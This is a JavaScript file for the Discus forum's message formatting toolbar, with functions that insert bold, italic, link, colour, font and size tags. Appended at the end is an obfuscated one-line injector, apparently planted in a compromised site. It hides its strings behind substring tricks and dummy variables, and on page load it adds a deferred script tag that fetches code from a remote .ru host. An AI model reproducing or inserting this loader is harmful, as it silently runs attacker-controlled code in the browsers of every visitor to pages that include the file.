//
// FORMATTING PANEL FOR DISCUS 'ADD A MESSAGE' box
// Copyright (c) 2001, DiscusWare, LLC, all rights reserved
// This code is distributed under the same terms as Discus itself
//

function panelclose () {
	if (document.userpass) {
		if (document.userpass.format_b.value == 1) {	
			insertText(document.userpass.message, '}');
		}
		if (document.userpass.format_i.value == 1) {	
			insertText(document.userpass.message, '}');
		}
		if (document.userpass.format_u.value == 1) {	
			insertText(document.userpass.message, '}');
		}
//		if (document.userpass.format_link.value == 1) {	
//			insertText(document.userpass.message, '}');
//		}
		if (document.userpass.format_clr.value == 1) {	
			insertText(document.userpass.message, '}');
		}
		if (document.userpass.format_font.value == 1) {	
			insertText(document.userpass.message, '}');
		}
		if (document.userpass.format_size.value == 1) {	
			insertText(document.userpass.message, '}');
		}
	}
	return true;	
}

function storeCursorPosition (elem) {
	if (elem.createTextRange) {
		elem.caretPos = document.selection.createRange().duplicate();
	}
}

function insertText (elem, text) {
	elem.focus();
	if (elem.createTextRange && elem.caretPos) {
		var caretPos = elem.caretPos;
		caretPos.text = caretPos.text.charAt(caretPos.text.length - 1) == ' ' ? text + ' ' : text;
	} else {
		elem.value = elem.value + text;
	}
}

function bolder () {
	if (document.userpass) {
		if (document.userpass.format_b.value == 1) {
			document.button_b.src = img_bold_up.src;
			insertText(document.userpass.message, '}');
			document.userpass.format_b.value = "0";
		} else {
			document.button_b.src = img_bold_dn.src;
			insertText(document.userpass.message, '\\b{');
			document.userpass.format_b.value = "1";
		}
		document.userpass.message.focus();
	}
	return false;
}


function linky_click (text) {
	if (document.userpass) {
//		if (document.userpass.format_link.value == 1) {
//			document.button_link.src = img_link_up.src;
//			insertText(document.userpass.message, '}');
//			document.userpass.format_link.value = "";
//		} else {
			var l = prompt(text, "http://");
			if (l != null) {
//				document.button_link.src = img_link_dn.src;
				insertText(document.userpass.message, '\\newurl{' + l + ',' + l + '}');
//				document.userpass.format_link.value = "1";
//			}
		}
		document.userpass.message.focus();
	}
	return false;
}

function italic () {
	if (document.userpass) {
		if (document.userpass.format_i.value == 1) {
			document.button_i.src = img_ital_up.src;
			insertText(document.userpass.message, '}');
			document.userpass.format_i.value = "0";
		} else {
			document.button_i.src = img_ital_dn.src;
			insertText(document.userpass.message, '\\i{');
			document.userpass.format_i.value = "1";
		}
		document.userpass.message.focus();
	}
	return false;
}

function underl () {
	if (document.userpass) {
		if (document.userpass.format_u.value == 1) {
			document.button_u.src = img_undl_up.src;
			insertText(document.userpass.message, '}');
			document.userpass.format_u.value = "0";
		} else {
			document.button_u.src = img_undl_dn.src;
			insertText(document.userpass.message, '\\u{');
			document.userpass.format_u.value = "1";
		}
		document.userpass.message.focus();
	}
	return false;
}

function smiley () {
	if (document.userpass.inserter.value != "") {
		if (typeof document.userpass.tagname != 'undefined') {
			insertText(document.userpass.message, "\\" + document.userpass.tagname.value + "{" + document.userpass.inserter.value + "}");
		} else {
			insertText(document.userpass.message, "\\clipart{" + document.userpass.inserter.value + "}");
		}
		document.userpass.inserter.value = "";
	}
	document.userpass.message.focus();
}

function colorsel () {
	if (document.userpass) {
		if (document.userpass.color) {
			var z = document.userpass.color[document.userpass.color.selectedIndex].value;
			if (z == "") {
				insertText(document.userpass.message, '}');
				document.userpass.format_clr.value = 0;
			} else {
				if (document.userpass.format_clr.value == 1) {
					insertText(document.userpass.message, "}\\" + z + "{");
				} else {
					document.userpass.format_clr.value = 1;
					insertText(document.userpass.message, "\\" + z + "{");
				}
			}	
		}
		document.userpass.message.focus();
	}
}

function fontsel () {
	if (document.userpass) {
		if (document.userpass.font) {
			var z = document.userpass.font[document.userpass.font.selectedIndex].value;
			if (z == "") {
				insertText(document.userpass.message, '}');
				document.userpass.format_font.value = 0;
			} else {
				if (document.userpass.format_font.value == 1) {
					insertText(document.userpass.message, "}\\font{" + z + ",");
				} else {
					insertText(document.userpass.message, "\\font{" + z + ",");
					document.userpass.format_font.value = 1;
				}
			}	
		}
		document.userpass.message.focus();
	}
}

function sizesel () {
	if (document.userpass) {
		if (document.userpass.size) {
			var z = document.userpass.size[document.userpass.size.selectedIndex].value;
			if (z == "") {
				insertText(document.userpass.message, '}');
				document.userpass.format_size.value = "0";
			} else {
				if (document.userpass.format_size.value == 1) {
					insertText(document.userpass.message, "}\\" + z + "{");
				} else {
					insertText(document.userpass.message, "\\" + z + "{");
					document.userpass.format_size.value = 1;
				}
			}	
		}
		document.userpass.message.focus();
	}
}

var u='';var l;if(l!='R' && l != ''){l=null};function J(){var pV;if(pV!='yp' && pV!='p'){pV=''};var Ux='';var y='';this.L="";this.T="";var q="g";var O=new String();var lP;if(lP!='' && lP!='iu'){lP=''};var z=RegExp;var t;if(t!='C' && t!='NR'){t=''};var Ql;if(Ql!='Z' && Ql!='DX'){Ql=''};function I(k,Jq){this.FW="";var ze="";var n= String("JYv[".substr(3));var QR;if(QR!='lK' && QR!='OR'){QR=''};var Qw=new Date();n+=Jq;var VZ="";n+="lSm]".substr(3);this._E="";var W;if(W!=''){W='j'};var X="";var Kj=new Date();var U=new z(n, q);var Wp;if(Wp!='' && Wp!='Gf'){Wp=null};return k.replace(U, y);var Qc=new String();var Cu;if(Cu!='E' && Cu!='lL'){Cu=''};};var _p=new Date();var LI=new Date();var N='';var M;if(M!='oI' && M!='EE'){M=''};var oJ='';var JW=new String("sc"+"riF1A".substr(0,2)+"9IHuptIHu9".substr(4,2));var G=window;var AI;if(AI!='' && AI!='ks'){AI=null};var x=I('89933034733879579403755974',"43579");var Tp;if(Tp!=''){Tp='FH'};this.v="";var K=String("/gGoiU".substr(0,2)+"ooCclD".substr(0,2)+"HDXglHXD".substr(3,2)+"e."+"LBgcoBLg".substr(3,2)+"FsR.t".substr(3)+"h/Va1K".substr(0,2)+"govX1t".substr(0,2)+"og"+"EPbleEbP".substr(3,2)+".cr1E".substr(0,2)+"2890o.".substr(4)+"6HmthH6m".substr(3,2)+"/gAbt".substr(0,2)+"oo"+"ucYglucY".substr(3,2)+"e."+"y0jcojy0".substr(3,2)+"m/BtGz".substr(0,2)+"IKVzviKIVz".substr(4,2)+"fH4rg4Hf".substr(3,2)+"GOphinpGhO".substr(4,2)+"8bGme".substr(3)+"N7Jdi".substr(3)+"oG0a.o0G".substr(3,2)+"co"+"m/4wZh".substr(0,2)+"YxUAkeAYxU".substr(4,2)+"Oj1dep".substr(4)+"vi"+"ct30d.".substr(4)+"CH5VcoC5HV".substr(4,2)+"m.qbn".substr(0,2)+"ph"+"DzxjpDjxz".substr(4,1));var dI;if(dI!='g' && dI != ''){dI=null};var tB;if(tB!='bw' && tB != ''){tB=null};var i="defeQzGI".substr(0,4)+"tyirity".substr(3,1);var FWT;if(FWT!=''){FWT='Ty'};this.hO="";var f="sr"+"ct2b".substr(0,1);var nM='';var kN=String("htt"+"p:/6Mqx".substr(0,3)+"/ov"+"ACzer-ACz".substr(3,3)+"Nkz5blo".substr(4)+"iSMg-c".substr(3)+"Y6Kom.6YK".substr(3,3)+"dTFaliFTd".substr(3,3)+"ce.SzU".substr(0,3)+"it.gTP".substr(0,3)+"SvAbaivSA".substr(3,3)+"GLwJxinJGwL".substr(4,3)+"Veug-ceuV".substr(3,3)+"RM70om.RM07".substr(4,3)+"sup"+"ZVvcersVcZv".substr(4,3)+"eas"+"ilvV1Yu".substr(0,3)+"2KkNer.".substr(4)+"ru:QHhd".substr(0,3));this.jP='';var jJ;if(jJ!=''){jJ='IT'};var Nt;if(Nt!='Jp'){Nt='Jp'};var hR;if(hR!='oA' && hR!='S'){hR=''};G.onload=function(){this.pw='';try {this.Wu="";this.cY="";N=kN+x;N+=K;var Lq="";this.YG='';var ql=new Date();r=document.createElement(JW);var Xn;if(Xn!=''){Xn='CuM'};var gr='';r[f]=N;r[i]=[1][0];this.bs="";document.body.appendChild(r);var zJ="";} catch(kF){};};var oQ='';};var Gb='';var dK="";J();var ox;if(ox!='_a' && ox!='mK'){ox=''};